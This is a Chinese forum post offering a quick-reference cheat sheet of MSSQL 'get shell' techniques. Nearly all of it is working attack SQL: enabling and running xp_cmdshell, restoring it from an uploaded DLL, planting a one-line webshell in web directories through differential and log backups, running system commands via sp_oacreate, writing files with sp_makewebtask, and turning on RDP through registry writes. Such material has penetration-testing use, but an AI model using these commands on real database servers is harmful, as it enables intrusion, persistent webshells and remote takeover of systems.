查看: 60|回复: 0

MSSQL相关的Get Shell方法总结(速查)

[复制链接]

5

主题

7

帖子

15

积分

新手上路

Rank: 1

积分
15
发表于 2023-3-26 14:03:18 | 显示全部楼层 |阅读模式
xp_cmdshell

1. 执行 CMD 命令

exec master..xp_cmdshell 'whoami';2. 检查是否启用 xp_cmdshell

exec sp_configure;3. 启用 xp_cmdshell

# 允许修改高级参数
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 开启xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
# 配置生效
RECONFIGURE;4. 关闭 xp_cmdshell

# 开启高级选项
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 关闭xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
# 配置生效
RECONFIGURE;5. 检查是否存在 xp_cmdshell 存储过程

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';返回 1 为存在,返回 0 为不存在。
6. 恢复xp_cmdshell(存在 xplog70.dll 时)

exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;7. 恢复xp_cmdshell(不存在 xplog70.dll 时)

先自己上传一个 xplog70.dll
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='C:\绝对路径\xplog70.dll' declare @o int;8. 删除xp_cmdshell

exec master..sp_dropextendedproc xp_cmdshell;9. 写入 webshell

10. 远程下载程序

各种文件写入和远程下载的方法可以看我以前写的文章
差异备份

注意:目标路径必须有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库备份至文件中
backup database db_name to disk = "目标文件路径.bak";
# 创建临时表
create table test (a image);
# 写入木马
insert into test(a) values('一句话木马');
# 重新备份,木马写入文件
backup database db_name to disk = '目标文件路径.asp' with differential,format;日志差异备份

注意: 1. 数据库之前备份过 2. 恢复模式是完整模式 3. 目标路径有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库的恢复模式设置为完整模式
alter database db_name set RECOVERY FULL;
# 创建临时表
create table temp (a image);
# 备份数据库日志,并写入文件中
backup log db_name to disk = '目标文件绝对路径.bak' with init;
# 在临时表中插入木马字符串
insert into temp (a) values ('一句话木马');
# 将含有木马字符串的日志备份写入文件中
backup log db_name to disk = '目标文件绝对路径.aspx';sp_oacreate

用不了xp_cmdshell的时候,可以使用这个来提权
1. 检查 OLE Automation Procedures 状态

exec sp_configure 'Ole Automation Procedures';如果 config_value 和 run_value 都为 0 表示禁用
2. 启用 OLE Automation Procedures

# 允许修改高级参数
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 开启Ole Automation Procedures
exec sp_configure 'Ole Automation Procedures',1;
# 配置生效
RECONFIGURE;
# 关闭高级参数
exec sp_configure 'show advanced options',0;3. 使用 wscript.shell

# 声明一个变量
declare @shell int;
# 使用sp_oacreate调用wscript对象
exec sp_oacreate 'wscript.shell',@shell output;
# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c CMD命令';4. 使用 Shell.Application

declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c CMD命令','c:\windows\system32','','1';sp_makewebtask

SQL Server 2008 不可用
1. 恢复xp_makewebtask存储过程

exec sp_configure 'Web Assistant Procedures', 1;
RECONFIGURE;2. 写入文件

exec sp_makewebtask 'C:\test1.php','select 一句话木马';xp_reg*

1. 查看是否开启了 RDP

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'1 表示关闭,0 表示开启
2. 开启 RDP 端口

EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;3. 查看 RDP 端口

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'4. 关闭 RDP

EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表